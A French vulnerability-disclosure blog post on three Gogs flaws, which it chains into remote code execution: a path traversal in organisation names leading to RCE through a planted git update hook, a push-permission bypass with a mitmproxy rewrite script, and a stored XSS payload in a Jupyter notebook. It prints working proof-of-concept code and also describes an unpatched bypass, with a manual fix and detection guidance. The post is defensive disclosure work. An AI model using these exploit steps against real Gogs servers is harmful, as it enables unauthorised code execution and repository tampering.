19 août 2026

Encore un RCE à Gogs, mais cette fois-ci, c'est corrigé !

Gogs est une plateforme d'hébergement Git open-source similaire à GitHub ou GitLab. L'application permet aux utilisateurs de gérer leurs propres dépôts et organisations. Sous le capot, elle repose largement sur la git CLI.

Il existe un long historique de RCE dans Gogs, dont la plupart ont mis du temps à être corrigées, nécessitant une divulgation publique avant même qu'une version officiellement patchée ne soit disponible. Ce cas était différent. Après quelques mois de silence, il semble que les mainteneurs aient repris le travail pour sécuriser Gogs, et tous nos signalements ont été corrigés à partir de la version 0.14.3 ! Nous espérons que cette tendance se poursuivra et amènera Gogs à un état sécurisé. Cependant, il reste actuellement un contournement non corrigé d'une vulnérabilité que nous avions signalée et que nos agents de pentest IA ont découvert. Nous fournissons ci-dessous un correctif de code manuel pour ce problème.

Cet article se concentrera principalement sur la vulnérabilité d'exécution de code à distance (CVE-2026-52813), car c'est la plus intéressante d'un point de vue technique. Mais j'expliquerai également un bug de logique permettant d'écrire sur des dépôts en lecture seule (CVE-2026-52810), ainsi qu'une vulnérabilité XSS dans la bibliothèque de rendu Jupyter utilisée par Gogs (GHSA-6vxv-wg6j-5qwp).

Entrons dans le vif du sujet !

Path traversal dans le nom d'organisation

Nous allons commencer par la façon dont nous avons découvert la vulnérabilité qui était à la fois la plus impactante et la plus intéressante techniquement : CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Avec Aikido Attack, nous effectuons de nombreux pentests IA sur des projets open source, y compris Gogs. Voici un extrait d'un rapport reçu de l'un de nos agents de pentest :

Aikido Rapport d'un agent de tests d'intrusion signalant un traversement de chemin critique dans le nom d'utilisateur de l'organisation Gogs, avec les étapes de reproduction et une requête curl qui crée une organisation nommée ../../../../tmp/ptapi3

Il mentionnait un path traversal dans le nom d'utilisateur de l'organisation, uniquement accessible via l'API, permettant d'écrire en dehors du répertoire prévu sur le reste du système de fichiers.

Creusons un peu plus la cause racine de ce qu'il a trouvé pour mieux comprendre le problème. La partie la plus importante est cette fonction dans repox.go:

func UserPath(user string) string {
    return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}

Elle détermine l'emplacement sur le système de fichiers où sont stockés les dépôts de chaque utilisateur, et concatène simplement son nom d'utilisateur avec le répertoire racine des dépôts configuré. Concaténer des chemins sans assainissement est toujours risqué car le système d'exploitation prend en charge ../ les séquences permettant de sortir de n'importe quel répertoire, tout comme .Join() en Go.

Heureusement pour Gogs, ces noms d'utilisateur sont assainis lors de l'enregistrement en utilisant la AlphaDashDot liaison n'autorisant que les lettres, les chiffres et -_. les caractères. Il est ainsi impossible d'enregistrer un utilisateur avec ../ dans son nom :

type Register struct {
    UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
    Email    string `binding:"Required;Email;MaxSize(254)"`
    Password string `binding:"Required;MaxSize(255)"`
    Retype   string
}

Mais utilisateurs ne sont pas les seuls éléments transitant par UserPath(). Organisations c'est tout aussi bien, et lorsque nous examinons sa définition, nous ne voyons aucun nettoyage de ce type pour UserName champ :

type createOrgRequest struct {
    UserName    string `json:"username" binding:"Required"`
    FullName    string `json:"full_name"`
    Description string `json:"description"`
    Website     string `json:"website"`
    Location    string `json:"location"`
}

Cela signifie que nous pouvons créer une organisation nommée ../../../../../tmp/test afin de faire UserPath() en sorte qu'elle renvoie /path/to/root/ + ../../../../../tmp/test = /tmp/test. Tous les dépôts créés au sein de cette organisation seront alors écrits dans ce nouveau répertoire en dehors de la racine.

Essayons en pratique :

s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
    auth=(USERNAME, PASSWORD),
    json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
    json={
        "username": org_name,
        "full_name": "path-traversal",
    }
)
print(r.json())  # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}

Maintenant que l'organisation est créée, nous pouvons voir un dossier à l'intérieur de /tmp nommé test/:

$ ls -l /tmp
total 4
drwxr-xr-x    2 git      git           4096 Jun  8 09:32 test

Pour le remplir, nous pouvons maintenant créer un nouveau dépôt sous l'organisation malveillante :

r = s.post(
    f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
    json={
        "name": "repo1",
        "description": "poc",
        "private": False,
        "auto_init": True,
        "readme": "Default",
    }
)
print(r.json())  # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}

Succès ! En vérifiant à nouveau le système de fichiers, nous constatons que le dossier repo1.git a été créé à l'emplacement spécifié :

$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r--    1 git      git             23 Jun  8 09:41 HEAD
-rw-r--r--    1 git      git             66 Jun  8 09:41 config
-rw-r--r--    1 git      git             73 Jun  8 09:41 description
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 hooks
drwxr-xr-x    2 git      git           4096 Jun  8 09:41 info
drwxr-xr-x    7 git      git           4096 Jun  8 09:41 objects
drwxr-xr-x    4 git      git           4096 Jun  8 09:41 refs

Cela prouve que nous disposons d'une forme de traversée de chemin fonctionnelle. Bien que nous ayons initialisé le dépôt avec un fichier README, celui-ci n'est pas visible ici sur le système de fichiers. C'est parce que ce qui est stocké ici est un dépôt nu (bare repository). Un dépôt contenant uniquement les fichiers de métadonnées git, sans « worktree ». Gogs n'a pas besoin des vrais fichiers lors de ses opérations normales. Il peut récupérer toutes les données à partir des éléments compressés objects et de la structure de ce dépôt nu.

Écrire des fichiers arbitraires à l'aide du contenu du dépôt git constituerait une primitive très puissante. Il semble que nous ayons une traversée de chemin très limitée où nous pouvons uniquement créer cette structure de métadonnées git spécifique...

Un cas particulier concerne la modification de fichiers dans l'interface utilisateur de Gogs. Cette opération serait fastidieuse à réaliser uniquement avec des commandes git, c'est pourquoi Gogs crée temporairement un véritable worktree en local dans /data/gogs/data/tmp/local-r/ avec un ID incrémentiel (2) :

$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md

Nous avons fini par trouver notre README.md fichier créé ici. Malheureusement, ce chemin ne contient plus notre nom d'utilisateur, ce qui nous empêche d'exploiter notre vulnérabilité de path traversal pour écrire des fichiers arbitraires. En revanche, nous pouvons :

  • Écrire des dépôts nus (bare repositories) (contenant uniquement les métadonnées Git) n'importe où via une vulnérabilité de path traversal  
  • Créer des worktrees (avec de vrais fichiers) uniquement dans un chemin sécurisé spécifique

Est-ce suffisant pour causer des dégâts dans une configuration par défaut de Gogs ? Pourrions-nous obtenir une RCE avec cette simple écriture de fichier limitée ?

RCE utilisant la configuration de git dans des dépôts imbriqués

C'est à ce stade que nous avons pris le relais manuellement pour tenter d'escalader la découverte de path traversal de l'agent en une exécution de code à distance (RCE) à part entière.

Les possibilités offertes par cette vulnérabilité sont quelque peu restreintes. Nous ne pouvons pas écraser des fichiers existants à des emplacements arbitraires, car nous ne contrôlons pas les noms de fichiers dans les métadonnées git. Nous pouvons uniquement créer un tel dépôt nu à un emplacement arbitraire.

Pour poser les bases, Git dispose de "Hooks" (crochets) qui correspondent à des scripts configurés dans le dossier .git/hooks et exécutés lors de certaines opérations Git. Par exemple, pre-commit s'exécute juste avant que vous ne validiez un commit. Ou côté serveur, update, qui s'exécute à chaque réception d'un push provenant d'un client.

Si un attaquant parvient à écrire dans l'un de ces chemins de hooks, cela conduit presque à coup sûr à une RCE, puisque la prochaine opération Git déclenchera l'exécution du script. Nous allons exploiter cela pour exécuter des commandes système arbitraires.

Nous savons que nous ne pouvons pas écraser un .git/hooks fichier d'un autre dépôt avec cette vulnérabilité de traversal de chemin. Mais en y réfléchissant bien, et si nous faisions l'inverse ?

Nous pouvons créer un worktree classique, puis placer notre dépôt bare à l'intérieur de celui-ci via la vulnérabilité de traversal de chemin. Ensuite, nous pouvons modifier le fichier hooks/update du dépôt bare depuis le worktree du dépôt classique. Lorsque nous effectuons ensuite un push, le hook se déclenche et nous obtenons une exécution de code à distance (RCE). Essayons en pratique.

Tout d'abord, créons un dépôt simple qui nous servira à modifier des fichiers plus tard. Pour l'instant, cela créera uniquement un répertoire sur le système de fichiers à l'emplacement /data/git/repositories/developer/editor.git (métadonnées), et non encore à l'emplacement /data/gogs/data/tmp/local-r/1/ (worktree). Nous savons que pour créer ce worktree, il suffit d'ajouter n'importe quel fichier via l'interface utilisateur de Gogs.

Vue du dépôt Gogs pour le développeur/éditeur sur la branche « master », avec le bouton « Nouveau fichier » mis en évidence pour ajouter un fichier et créer l'arborescence de travail du dépôt

Une fois cette opération effectuée, le worktree est créé avec l'ID du dépôt (récupéré via /api/v1/repos/:owner/:repo).

$ ls -la /data/gogs/data/tmp/local-r/1

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Jun  9 08:53 README.md
-rw-------    1 git      git              5 Jun  9 08:53 dummy

L'étape suivante consiste à injecter notre path traversal d'organisation dans ce dossier modifiable. Nous allons en créer une nommée ../../gogs/data/tmp/local-r/1 afin d'atterrir dans le dossier. Créez ensuite un dépôt sous cette dernière.

org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)

Après cela, le dépôt traversal créé apparaît dans le worktree :

$ ls -la

drwxr-xr-x    7 git      git           4096 Jun  9 08:53 .git
-rw-r--r--    1 git      git             10 Jun  9 08:53 README.md
-rw-------    1 git      git              5 Jun  9 08:53 dummy
drwxr-xr-x    6 git      git           4096 Jun  9 11:45 traversal.git

$ cat traversal.git/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = true

Si nous rechargeons la developer/editor page sur Gogs maintenant, nous ne la voyons pas encore, car le système de fichiers n'est pas encore synchronisé avec l'interface utilisateur. Pour ce faire, nous allons créer un autre fichier factice. Il apparaît alors, et nous pouvons même explorer ses fichiers :

Le navigateur de fichiers Gogs affichant le dépôt « bare » traversal.git imbriqué dans le répertoire developer/editor, avec son dossier hooks et ses fichiers de métadonnées Git

Il semble que nous puissions désormais simplement modifier le fichier hooks/update pour le rendre malveillant, mais lorsque nous essayons, Gogs renvoie l'erreur suivante dans l'interface :

Échec de la mise à jour/création du fichier 'traversal.git/hooks/update' avec l'erreur : erreur interne du serveur

Dans les logs du backend, nous voyons :

[ERROR] [...gs/internal/route/repo/editor.go:280 editFilePost()] Échec de la mise à jour du fichier du dépôt : mauvais chemin d'arborescence "traversal.git/hooks/update"

Malheureusement, une vérification est implémentée pour voir si un chemin que nous modifions contient .git/, et notre chemin traversal.git/hooks/update le contient effectivement.

func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
    // 🚨 SECURITY: Prevent uploading files into the ".git" directory.
    if isRepositoryGitPath(opts.NewTreeName) {
        return errors.Errorf("bad tree path %q", opts.NewTreeName)
    }
    ...
}

func isRepositoryGitPath(path string) bool {
    path = strings.ToLower(path)
    return strings.HasSuffix(path, ".git") ||
        strings.Contains(path, ".git/") ||
        strings.Contains(path, `.git\`) ||
        // Windows treats ".git." the same as ".git"
        strings.HasSuffix(path, ".git.") ||
        strings.Contains(path, ".git./") ||
        strings.Contains(path, `.git.\`)
}

L'éditeur de l'interface utilisateur ne permet donc pas de modifier notre dépôt imbriqué. Mais qu'en est-il d'un push Git natif ?

$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "update hook"
$ git push
Username for 'https://gogs.local': developer
Password for 'https://developer@gogs.local':
To https://gogs.local/developer/editor.git
   8c7f89f..fe4cc1b  master -> master

Impeccable ! La vérification est plus souple en ce sens que le nom d'un segment de chemin doit être exactement égal à .git. Nous avons de la chance que le nom du dépôt nu (bare repo) soit traversal.git et non .git, car la méthode Git autorise toujours ce nom.

Téléchargez à nouveau un autre fichier factice pour mettre à jour l'arborescence de travail, et nous pouvons voir le fichier mis à jour !

Gogs consulte le fichier « traversal.git/hooks/update », un script Bash qui lance le hook de mise à jour de Gogs, puis exécute la commande « id>/tmp/pwned » en tant que charge utile injectée.

Il ne reste plus qu'à faire un push vers le dépôt nu. Nous devons le faire sur le dépôt de l'organisation ../../ , ce qui est un peu délicat via l'interface utilisateur. Mais en passant par l'API, nous pouvons simplement encoder le chemin en URL et y accéder sans problème. Nous allons déclencher un autre téléchargement de fichier afin qu'il effectue en interne un commit dans un deuxième espace de travail, puis qu'il pousse le tout vers le dépôt nu (les deux se trouvant sur le même système de fichiers, c'est ainsi que fonctionne Git et que Gogs gère ses dépôts en interne).

r = s.put(
    f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
    json={
        "message": "trigger update hook",
        "content": base64.b64encode(b"dummy4").decode(),
        "branch": "master",
    }
)
print(r.json())  # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}

Après ce commit sur le traversal dépôt, il est poussé vers /data/gogs/data/tmp/local-r/1/traversal.git, ce qui déclenche traversal.git/hooks/update. Nous l'avons contourné pour l'exécuter id > /tmp/pwned ensuite, et lorsque nous vérifions ce chemin, nous trouvons bien la sortie de id:

$ cat /tmp/pwned
uid=1000(git) gid=101(git) groups=101(git)

Nous avons réussi à obtenir une exécution de code à distance (RCE) sur Gogs en tant qu'utilisateur git !

Contournement de l'autorisation de push via une confusion dans receive-pack

Retour à un tout autre type de vulnérabilité : CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Plutôt que des injections complexes, il s'agit d'un simple bogue de logique, mais difficile à détecter manuellement. Tout se passe au sein du protocole bas niveau Git HTTP, que Gogs implémente pour des opérations telles que git push vers un dépôt.

Dans les "intelligent" protocole, il existe deux services : git-upload-pack (demander au serveur de vous envoyer des données = pull) et git-receive-pack (le serveur reçoit vos nouvelles données = push).
Ces deux opérations sont associées à des permissions différentes. Vous ne devriez pouvoir push si vous disposez de Écriture de permission, mais qu'une simple pull, Lecture suffit. Gogs implémente cela sous forme de middleware pour toute la logique Git HTTP :

func HTTPContexter(store Store) macaron.Handler {
    ...
    isPull := c.Query("service") == "git-upload-pack" ||
        strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
        c.Req.Method == "GET"
    ...
    mode := database.AccessModeWrite
    if isPull {
        mode = database.AccessModeRead
    }

La requête est traitée comme une extraction (lecture) si l'élément service paramètre de requête ou le chemin final est git-upload-pack.

Gogs définit ensuite des gestionnaires pour les actions spécifiques :

{lazyregexp.New("(.*?)/git-upload-pack$"), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), "POST", serviceReceivePack},

Il est à noter qu'il n'est fait mention d'aucun service paramètre de requête ici. Après avoir validé l'autorisation à l'aide d'une simple vérification de chaîne sur le chemin, il analyse à nouveau le chemin à l'aide des expressions régulières ci-dessus. Cela peut facilement conduire à des divergences où l'autorisation considère qu'il s'agit d'une Lecture requête, tandis que le gestionnaire correspondant est un Écriture point de terminaison.

Le service le paramètre de requête était destiné à /refs/info, mais activé globalement pour l'autorisation. Cela signifie que nous pouvons demander un chemin du type /git-receive-pack avec un paramètre ignoré de service=git-upload-pack. Gogs va s'emmêler les pinceaux et déduire, en raison du paramètre, qu'il doit s'agir d'une lecture requête. Mais lorsqu'il arrive au gestionnaire, c'est l'endpoint d'écriture qui est atteint !

L'exploitation effective de cette vulnérabilité semble un peu délicate, car le protocole de poussée des commits est très spécifique à Git. Cependant, nous pouvons simplement créer un petit proxy qui réécrit /git-receive-pack à /git-receive-pack?service=git-upload-pack afin de contourner la vérification :

from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http

def request(flow: http.HTTPFlow) -> None:
    u = urlsplit(flow.request.pretty_url)
    if not u.path.endswith("/git-receive-pack"):
        return

    params = parse_qsl(u.query, keep_blank_values=True)
    params.append(("service", "git-upload-pack"))
    query = urlencode(params)
    flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
    ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")

Ce script est utilisable avec mitmproxy. Après l'avoir exécuté, nous pouvons définir les http_proxy et https_proxy variables d'environnement dans un autre terminal avant d'exécuter git les commandes. Git acheminera tous ses appels réseau via notre script, qui réécrit le /git-receive-pack pour y ajouter le service=git-upload-pack paramètre de requête.

Essayons de créer un dépôt sur un compte, puis de le cloner et de faire un push avec le proxy actif :

$ mitmdump -s mitmproxy_addon.py -p 1337

$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd target
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
error: RPC failed; HTTP 500 curl 22 The requested URL returned error: 500
send-pack: unexpected disconnect while reading sideband packet
fatal: the remote end hung up unexpectedly

500 ? En vérifiant les logs du backend, nous constatons une déréférencement de pointeur nul (nil pointer dereference)... ou plutôt une erreur de déréférencement de pointeur !?

[Macaron] PANIC: runtime error: invalid memory address or nil pointer dereference
runtime/panic.go:336 (0x492697)
runtime/signal_unix.go:931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go:67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go:257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go:282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go:425 (0x142fbae)

nil en Go est simplement sa version du null. Si vous essayez de lire une propriété d'un objet qui est nil, vous obtenez un "nil pointer dereference". Si nous traçons le code à l'emplacement internal/database/repo_editor.go:67, nous voyons :

EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),

Il semble que notre AuthUser n'ait pas été défini. Plus haut dans la chaîne d'appels, nous sommes censés le récupérer à la fin de HTTPContexter():

func HTTPContexter(store Store) macaron.Handler {
    ...
    c.Map(&HTTPContext{
        Context:   c,
        OwnerName: ownerName,
        OwnerSalt: owner.Salt,
        RepoID:    repo.ID,
        RepoName:  repoName,
        AuthUser:  authUser,
    })

Mais en raison de notre contournement, isPull est true, et ce retour anticipé est atteint en premier :

func HTTPContexter(store Store) macaron.Handler {
    ...
    // Authentication is not required for pulling from public repositories.
    if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
        c.Map(&HTTPContext{
            Context: c,
        })
        return
    }

Par conséquent, AuthUser n'est pas défini, et lorsqu'il essaie d'être utilisé par receive-pack, cela plante. Heureusement, nous voyons plusieurs moyens simples d'y remédier directement dans le code source :

  1. Si repo.IsPrivate, la condition est ignorée  
  2. Si conf.Auth.RequireSigninView est activé, la condition est ignorée

L'exploit ne fonctionne donc que pour les dépôts qui ne sont pas accessibles en lecture publique. Si la configuration globale RequireSigninView est définie, l'instance entière est vulnérable. Pour faciliter les tests, nous allons simplement créer un dépôt privé et inviter l'attaquant en tant que collaborateur en lecture seule :

Paramètres de collaboration de Gogs pour le dépôt privé de la victime/cible, montrant le compte de l'attaquant ajouté en tant que collaborateur en lecture seule

En réessayant le PoC, nous constatons que l'attaquant est désormais capable d'écrire avec succès dans le dépôt :

$ git push
Nom d'utilisateur pour 'https://gogs.local' : attacker
Mot de passe pour 'https://developer@gogs.local' :
...
Écriture des objets : 100% (3/3), 507 octets | 507,00 Ko/s, fait.
Total 3 (delta 1), réutilisés 0 (delta 0), pack-reused 0
Vers https://gogs.local/victim/target.git
   62ef1eb..cb13c59  master -> master

Le changement se reflète également dans l'interface utilisateur :

Liste des fichiers Gogs correspondant à la victime/cible après l'exploitation, montrant un fichier PoC déposé par l'attaquant à côté du fichier README.md

Avec cette vulnérabilité, un attaquant peut écrire dans n'importe quel dépôt dont la lecture nécessite d'être connecté. Si le système est connecté à une CI/CD, cela pourrait déclencher des déploiements malveillants ou permettre de dissimuler des logiciels malveillants en général.

Non corrigé

Cette vulnérabilité a été traitée dans #8331 en validant quelles routes servent à la réception par rapport à l'envoi. Cependant, ce correctif est incomplet car la vérification pour /git-receive-pack ne correspond pas /git-receive-pack (majuscules), tandis que le routeur ultérieur est insensible à la casse. Nous avons signalé cette faille de contournement au responsable du projet, mais n'avions pas encore reçu de réponse au moment de la publication de cet article.

Appliquez le correctif de code source suivant et recompilez Gogs pour remédier à cette vulnérabilité :

--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
 }
 
 func gitHTTPIsPull(c *macaron.Context, action string) bool {
+    action = strings.ToLower(action)
     if action == "info/refs" {
-        return c.Query("service") != "git-receive-pack"
+        return !strings.EqualFold(c.Query("service"), "git-receive-pack")
     }
     return action != "git-receive-pack"
 }

XSS stockée dans les fichiers .ipynb

Enfin, il s'agissait d'une exploitation simple, mais dont la cause est intéressante : GHSA-6vxv-wg6j-5qwp (pas encore de CVE). À la simple lecture du code, on aurait pu penser qu'il était correctement aseptisé !

La plupart des interfaces Git disposent de méthodes d'affichage personnalisées pour certains fichiers spécifiques, notamment les notebooks Jupyter (.ipynb fichiers). Ces fichiers sont conçus pour présenter des entrées et sorties interactives de code Python avec des descriptions en Markdown intégrées.

Le notebook Jupyter « test.ipynb » a été rendu dans Gogs ; il affiche le titre « Hello world » au-dessus d'une cellule de code contenant print("Hello, world!")

Vous vous demandez peut-être comment cela est rendu ?
La réponse : une version extrêmement obsolète de notebookjs (0.4.2, la dernière étant la 0.8.0).

Dire Markdown revient presque toujours à dire HTML. Le contenu HTML brut fait même partie de la spécification CommonMark, et de nombreux moteurs de rendu l'implémentent sans hésiter. Le problème pour Gogs est que les entrées non fiables (le contenu des fichiers de n'importe quel utilisateur) transitent par ce moteur de rendu.

Dans le code source, il semble qu'un nettoyage soit effectué du côté de Gogs :

$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
  var notebook = nb.parse(notebook_json);
  var rendered = notebook.render();
  $.ajax({
    type: "POST",
    url: '/-/api/sanitize_ipynb',
    data: rendered.outerHTML,
    processData: false,
    contentType: false,
  }).done(function(data) {
    $("#ipython-notebook").append(data);
    ...

Le backend utilise bluemonday, une bibliothèque d'assainissement reconnue, pour nettoyer la sortie de notebookjs avant d'ajouter les données au DOM. Ainsi, une charge utile telle que <u>te<script>1</script>st</u> devient <u>test</u>. C'est sécurisé.

Cependant, nous pouvons constater un problème au sein de la bibliothèque notebookjs elle-même. Lors de la transformation du Markdown en HTML pour les cellules Markdown, elle crée un élément temporaire et lui assigne .innerHTML via :

var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))

Même s'il n'est pas ajouté au DOM, l'attribution elle-même à n'importe quelle variable JavaScript temporaire suffit à déclencher des événements sur l'élément. Pour l'élément <img> , par exemple, son src= est déjà chargé et peut échouer, déclenchant onerror=. Directement au sein de notebookjs lui-même.

Pour cette raison, une charge utile (payload) comme la suivante fonctionnera indépendamment de ce que Gogs fait de la sortie :

{
  "cells": [
    {
      "cell_type": "markdown",
      "metadata": {},
      "source": [
        "<img src onerror=alert(origin)>"
      ]
    }
  ],
  "metadata": {},
  "nbformat": 4,
  "nbformat_minor": 2
}

La consultation du fichier .ipynb déclenche désormais une XSS lors du rendu :

Le navigateur affiche une alerte JavaScript indiquant « gogs.local » et précisant « https://gogs.local », déclenchée par l'ouverture d'un fichier .ipynb malveillant qui met en évidence la vulnérabilité XSS de type « stored ».

L'attaquant peut placer de tels fichiers un peu partout, comme dans ses propres dépôts, ou dans des Pull Requests qui s'affichent lors d'un clic sur Afficher le fichier, ou simplement en envoyant directement à n'importe quel autre utilisateur un lien vers son fichier de charge utile.

Détection

Pour vérifier si vous êtes concerné par l'exécution de code à distance (Remote Code Execution, CVE-2026-52813), assurez-vous que votre version de Gogs est la 0.14.2 ou inférieure. Aikido détecte cette version dans votre organisation avec une alerte "critique" :

Aikido classification de l'alerte : les versions de Gogs antérieures à la 0.14.3 sont considérées comme critiques, avec un score de 100 pour la vulnérabilité « RCE par traversée de chemin » ; il est recommandé de passer à la version 0.14.3 ou à une version ultérieure

Le contournement d'autorisation de push (CVE-2026-52810) ne dispose d'aucune version officiellement corrigée. Toutes les versions sont actuellement vulnérables. Aikido détecte les instances Gogs avec une alerte "élevée" :

Aikido classifie la version Gogs 0.14.3 et les versions antérieures comme présentant un risque élevé, avec un score de 71 pour la faille de contournement de l'autorisation HTTP de Git, et recommande de désactiver le protocole Git Smart HTTP et d'utiliser SSH

Conclusion

Comme cela a souvent été souligné, intégrer Git dans une application reste une tâche ambitieuse à réaliser de manière sécurisée. Le système apporte tellement d'écueils sur le système de fichiers que les attaquants peuvent exploiter. Pire encore, l'impact est souvent critique. C'est pourquoi il est crucial de tester de manière approfondie ces applications en réalisant des pentests.

S'il faut un certain temps pour corriger les vulnérabilités après leur découverte, cela laisse une période significative durant laquelle l'application est connue pour être exploitable. À l'ère de l'IA, tout le monde découvre des vulnérabilités. Les développeurs ont pour tâche de déployer des correctifs plus rapidement qu'auparavant, nous devons donc nous habituer à accélérer cette étape également grâce à des outils comme Aikido Autofix.

Ensuite, vous pouvez même valider les correctifs de manière autonome grâce au pentest IA et continuer à livrer des fonctionnalités et des améliorations dont les utilisateurs ont réellement besoin.

Actuellement, Gogs n'est plus maintenu activement, il faut donc s'attendre à des vulnérabilités. Nous vous recommandons d'utiliser une autre solution Git auto-hébergée pour le moment, en attendant que la situation se stabilise.

4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests
Auteurs
Jorian Woltjer
Analyser les malwares
Sécurisez votre code, votre cloud et votre runtime dans un système centralisé. Détectez et corrigez les vulnérabilités rapidement et automatiquement.
Démarrer gratuitement
Partager :

Ajouts récents

18 novembre 2026

PHP prévoit la publication d'une mise à jour de sécurité critique le 19 novembre, incluant la vulnérabilité CVE-2026-115560

PHP publiera des correctifs de sécurité critiques le 19 novembre. Voici ce que nous savons sur la vulnérabilité CVE-2026-115560 et comment la contrer avant la sortie du correctif.
Lire la suite
18 novembre 2026

nginx2root : Vulnérabilités critiques dans nginx, dont une permettant l'exécution de code à distance (RCE) [CVE-2026-123007, CVE-2026-123634, CVE-2026-123633, CVE-2026-121810, CVE-2026-113425]

nginx2root regroupe cinq vulnérabilités critiques de type RCE (exécution de code à distance) dans nginx, dont la vulnérabilité CVE-2026-123007 dans HTTP/2. Vérifiez si vous êtes concerné et effectuez la mise à jour vers la version 1.31.9 ou 1.30.7 de nginx.
Lire la suite
17 novembre 2026

Java4Shell : faille RCE dans le décodeur Base64 d'OpenJDK, avec les versions concernées et le correctif (CVE-2026-114938)

Java4Shell est une faille du décodeur Base64 d'OpenJDK qui peut permettre à des attaquants d'exécuter du code à distance, parfois sans authentification. Voici les versions concernées, les versions corrigées et les mesures à prendre dès aujourd'hui pour atténuer ce risque.
Lire la suite